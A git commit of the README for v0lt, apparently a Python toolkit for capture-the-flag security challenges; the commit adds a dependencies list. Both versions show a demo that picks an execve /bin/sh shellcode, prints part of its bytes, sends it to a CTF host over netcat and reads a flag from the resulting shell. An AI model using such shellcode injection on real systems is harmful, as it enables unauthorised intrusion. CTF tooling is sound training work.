<commit_before>![v0lt](https://raw.githubusercontent.com/P1kachu/v0lt/master/v0lt/assets/v0lt.png)

v0lt
====

v0lt is an attempt to regroup every tool I used/use/will use in security CTF, Python style. 
A lot of exercises were solved using bash scripts but Python may be more flexible, that's why.    

##Installation
```Bash
git clone https://github.com/P1kachu/v0lt.git     
cd v0lt    
sudo python3 setup.py install # sudo is required for potentially missing dependencies    
```

##Demo: Shellcodes
```Python
>>> from v0lt import shellcode
>>> from v0lt.netcat import Netcat
>>> nc = Netcat("remote.ctf.com", 4444)
Port 4444: GIVE ME SHELLCODZ
>>> shell_code = shellcode.get_shellcodes("bin","execve")

.
.
.
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
.
.
.

Selection: 86
You chosed http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
>>> nc.write(shell_code)
$ ls
README.md  commit.sh  setup.py  v0lt  flag.txt
$ cat flag.txt
myCTF{3d1DD1C223DcfddDAe1D0faaD1BEEADdaabB2Ea0DeB023aCdebbABCCB01ccacf}
```
##Implemented:    
* Crypto    
    * Base64    
    * Ceasar shift    
    * Hashing functions (SHA, MD5)    
    * Bits manipulations (Xor)    
    * Usual conversions (bytes/strings/hex)    
    * RSA basics (inverse modulo, inverse power, egcd...)    

* Shellcodes    
    * Shellcode selection    
    * Shellcode format from Shell-storm repo    

* Easy connection support    
    * Netcat    
    * Telnet    

And more !<commit_msg>fixed Readme.md<commit_after>![v0lt](https://raw.githubusercontent.com/P1kachu/v0lt/master/v0lt/assets/v0lt.png)

v0lt
====

v0lt is an attempt to regroup every tool I used/use/will use in security CTF, Python style. 
A lot of exercises were solved using bash scripts but Python may be more flexible, that's why.    

##Requirements and Installation    
Dependencies:   
* Python3    
  * BeautifulSoup    
  * Requests    

```Bash
git clone https://github.com/P1kachu/v0lt.git     
cd v0lt    
sudo python3 setup.py install # sudo is required for potentially missing dependencies    
```

##Demo: Shellcodes
```Python
>>> from v0lt import shellcode
>>> from v0lt.netcat import Netcat
>>> nc = Netcat("remote.ctf.com", 4444)
Port 4444: GIVE ME SHELLCODZ
>>> shell_code = shellcode.get_shellcodes("bin","execve")

.
.
.
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
.
.
.

Selection: 86
You chosed http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
>>> nc.write(shell_code)
$ ls
README.md  commit.sh  setup.py  v0lt  flag.txt
$ cat flag.txt
myCTF{3d1DD1C223DcfddDAe1D0faaD1BEEADdaabB2Ea0DeB023aCdebbABCCB01ccacf}
```
##Implemented:    
* Crypto    
    * Base64    
    * Ceasar shift    
    * Hashing functions (SHA, MD5)    
    * Bits manipulations (Xor)    
    * Usual conversions (bytes/strings/hex)    
    * RSA basics (inverse modulo, inverse power, egcd...)    

* Shellcodes    
    * Shellcode selection    
    * Shellcode format from Shell-storm repo    

* Easy connection support    
    * Netcat    
    * Telnet    

And more !
{'fraction_non_alphanumeric': 0.12319676860934795, 'fraction_numerical': 0.05395268320830929, 'mean_word_length': 3.147129186602871, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 33, 'https://': 4, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1130125', 'n_tokens_mistral': 1431, 'n_tokens_neox': 1311, 'n_words': 307}